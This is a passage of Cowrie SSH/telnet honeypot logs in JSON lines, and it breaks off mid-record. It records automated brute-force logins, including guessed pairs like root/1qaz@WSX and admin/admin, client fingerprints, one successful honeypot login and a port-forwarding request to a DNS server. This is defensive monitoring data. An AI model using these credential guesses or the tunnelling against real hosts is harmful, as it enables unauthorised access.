{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:12.286981Z","src_ip":"176.65.132.129","session":"cf06bef590f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:12.369361Z","src_ip":"176.65.132.129","session":"cf06bef590f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:12.620330Z","src_ip":"176.65.132.129","session":"cf06bef590f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:13.706120Z","src_ip":"176.65.132.129","session":"cf06bef590f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52470,"dst_ip":"159.203.135.109","dst_port":22,"session":"d58b7f287c85","protocol":"ssh","message":"New connection: 176.65.132.129:52470 (159.203.135.109:22) [session: d58b7f287c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:15.542816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:15.547634Z","src_ip":"176.65.132.129","session":"d58b7f287c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:15.629591Z","src_ip":"176.65.132.129","session":"d58b7f287c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:15.877525Z","src_ip":"176.65.132.129","session":"d58b7f287c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:17.057472Z","src_ip":"176.65.132.129","session":"d58b7f287c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50004,"dst_ip":"159.203.135.109","dst_port":22,"session":"beaed0ecdcec","protocol":"ssh","message":"New connection: 172.237.20.62:50004 (159.203.135.109:22) [session: beaed0ecdcec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:17.259986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:17.264611Z","src_ip":"172.237.20.62","session":"beaed0ecdcec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:17.488693Z","src_ip":"172.237.20.62","session":"beaed0ecdcec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:17.977478Z","src_ip":"172.237.20.62","session":"beaed0ecdcec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41414,"dst_ip":"10.17.0.5","dst_port":22,"session":"80b9a0c2897b","protocol":"ssh","message":"New connection: 87.251.64.176:41414 (10.17.0.5:22) [session: 80b9a0c2897b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:18.330204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:18.335427Z","src_ip":"87.251.64.176","session":"80b9a0c2897b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:18.432461Z","src_ip":"87.251.64.176","session":"80b9a0c2897b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:18.726434Z","src_ip":"87.251.64.176","session":"80b9a0c2897b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58714,"dst_ip":"159.203.135.109","dst_port":22,"session":"1749bb31f09c","protocol":"ssh","message":"New connection: 176.65.132.129:58714 (159.203.135.109:22) [session: 1749bb31f09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:18.774053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:18.778620Z","src_ip":"176.65.132.129","session":"1749bb31f09c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:18.828048Z","session":"80b9a0c2897b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:18.864453Z","src_ip":"176.65.132.129","session":"1749bb31f09c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:18.926338Z","src_ip":"87.251.64.176","session":"80b9a0c2897b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:19.026560Z","src_ip":"87.251.64.176","session":"80b9a0c2897b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:19.113153Z","src_ip":"176.65.132.129","session":"1749bb31f09c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:19.140620Z","src_ip":"172.237.20.62","session":"beaed0ecdcec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:20.198154Z","src_ip":"176.65.132.129","session":"1749bb31f09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58718,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2be8f76cd73","protocol":"ssh","message":"New connection: 176.65.132.129:58718 (159.203.135.109:22) [session: f2be8f76cd73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:22.176067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:22.242352Z","src_ip":"176.65.132.129","session":"f2be8f76cd73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:22.273318Z","src_ip":"176.65.132.129","session":"f2be8f76cd73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:22.576389Z","src_ip":"176.65.132.129","session":"f2be8f76cd73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.89711236953735,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:23.175295Z","src_ip":"45.58.127.90","session":"e1dcd9bcdaec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:23.660939Z","src_ip":"176.65.132.129","session":"f2be8f76cd73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58734,"dst_ip":"159.203.135.109","dst_port":22,"session":"9661b51bbe8d","protocol":"ssh","message":"New connection: 176.65.132.129:58734 (159.203.135.109:22) [session: 9661b51bbe8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:25.504379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:25.509373Z","src_ip":"176.65.132.129","session":"9661b51bbe8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:25.593399Z","src_ip":"176.65.132.129","session":"9661b51bbe8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:25.842511Z","src_ip":"176.65.132.129","session":"9661b51bbe8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47094,"dst_ip":"10.17.0.5","dst_port":23,"session":"f893e4d2e07a","protocol":"telnet","message":"New connection: 45.58.127.90:47094 (10.17.0.5:23) [session: f893e4d2e07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:26.807921Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:26.929088Z","src_ip":"176.65.132.129","session":"9661b51bbe8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47100,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd12e72ddcf8","protocol":"telnet","message":"New connection: 45.58.127.90:47100 (10.17.0.5:23) [session: bd12e72ddcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:27.748037Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47096,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a5d991d40d","protocol":"telnet","message":"New connection: 45.58.127.90:47096 (10.17.0.5:23) [session: 81a5d991d40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:27.861369Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47262,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcc36bbe62ef","protocol":"ssh","message":"New connection: 172.237.20.62:47262 (159.203.135.109:22) [session: dcc36bbe62ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:28.359486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:28.363990Z","src_ip":"172.237.20.62","session":"dcc36bbe62ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 